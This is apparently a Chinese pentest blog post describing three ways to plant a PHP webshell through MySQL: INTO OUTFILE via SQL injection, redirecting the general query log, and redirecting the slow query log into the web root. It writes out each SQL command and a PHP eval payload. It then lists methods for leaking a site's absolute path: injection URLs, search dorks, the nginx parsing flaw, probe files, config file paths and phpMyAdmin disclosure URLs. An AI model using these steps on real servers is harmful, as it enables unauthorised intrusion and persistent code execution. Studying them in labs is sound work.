数据库写马的三种姿势

平常碰到SQL注入感觉也不是很多了,除非一梭哈直接sql-shell或者cmd-shell,这种情况还是比较难遇到的。

又或者碰到数据库弱口令等等情况,所以就来记录一下。

说是三种方式,其实就into outfile和日志两种,但是我把慢日志也提出来了,感觉慢日志还是可以的。

我用了本地环境和靶场来演示的。

一、INTO OUTFILE写马

平常用into outfile的方式还是比较常见的,但是还需要知道绝对路径和具有写入的权限这个条件有些苛刻。

1、查看插入条件

show GLOBAL VARIABLES like '%secure%';
secure_file_priv的值:
为空        可以写入磁盘的目录
D:\         就可以写入D盘的文件
NULL        表示不能写入磁盘文件

image

如果碰到我截图这种情况直接寄了就。

2、查看数据库安装的绝对路径

select @@basedir;

image

这种情况在web页面一般通过报错来得到:

image

http://www.test.com/xxxx.php/1.txt?id=1 UNION SELECT 1,'<?php eval(phpinfo());?>' into outfile "C:/phpStudy/WWW/666.php"

总结就是unsion select ‘语句’ into outfile “绝对路径”

image

注意事项:

#需要知道绝对路径且条件苛刻#

二、数据库日志写马

首先需要打开日志功能

SET GLOBAL general_log='ON';

image

然后查看日志状态和存放位置

show global variables like "%general_log%";

image

再更改日志存放位置确保放入web路径

set global general_log_file='D:\\phpstudy_pro\\WWW\\log.php';

image

image

#日志路径
注意:需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。

查询语句(写马)

select '<?php eval(phpinfo());?>';

让日志文件中留下这样一句查询语句

image

image

image

#需要知道绝对路径#

三、数据库慢查询日志写马

设置slow_query_log=1.即启用慢查询日志(默认禁用)

set global slow_query_log=1;

然后查看日志状态和存放位置

SHOW VARIABLES like '%slow_query_log%';

image

查询mysql系统时间(一般都是十秒,后面我们设置11秒来超时)

image

再更改日志存放位置确保放入web路径

SET GLOBAL slow_query_log_file='D:\phpstudy_pro\WWW\shell.php';

image

image

#日志路径
注意:需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。

查询语句(写马)

select '<?php eval(phpinfo());?>' or SLEEP(11);

image

image

image

#需要知道绝对路径#

四、绝对路径的查找方法(这是在网络找的一些方法)

一、通过页面报错找路径

1、存在注入时单引号爆路径
就像测试SQL注入一样在参数后面加上单引号,若页面返回内容可能爆出网站路径

http://www.test.com/xxx.php?id=100′

2、错误参数值爆路径
若第一种方式触发waf,可通过错误参数值爆网站路径
http://www.test.com/xxx.php?id=-100′
http://www.test.com/xxx.php?id=AbCdE’

3、通过搜索引擎获取
通过搜索引擎语法搜索页面报错内容可能获取到网站路径

Site:test.com warning
Site:test.com “fatal error”

4、nginx文件类型错误解析爆路径
要求Web服务器是nginx,且存在文件类型解析漏洞。利用nginx对应版本的解析漏洞,在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径
http://www.test.com/xxx.jpg/x.php

二、根据一键/搭建平台找路径

1、搭建平台测试文件获取路径
网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:探针或者phpinfo那一类文件
/test.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/l.php //phpstudy的探针

2、配置文件获取路径
如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息
Windows配置文件
c:\windows\php.ini //php配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS虚拟主机配置文件

Linux配置文件
/etc/php.ini // php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf //Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf //虚拟目录配置文件

XAMPP配置文件
C:\xampp\htdocs //Xampp文件路径
C:\xampp\apache\conf/httpd.conf //httpd.com配置文件
C:\xampp\apache\onf\extra\httpd-vhosts.conf //vhosts.conf虚拟主机

phpstudy配置文件
C:\phpstudy\www //网站默认路径
C:\phpStudy\Apache\conf\httpd.conf //httpd.conf配置文件
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf //vhosts.conf虚拟主机

利用phpmyadmin爆路径
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpMyAdmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/libraries/select_lang.lib.php
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/libraries/mcrypt.lib.php

三、利用漏洞

1、配合远程代码执行漏洞
比如eval()函数可控的话,直接传入phpinfo();,通过phpinfo页面中Document_Root参数获取网站绝对路径

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容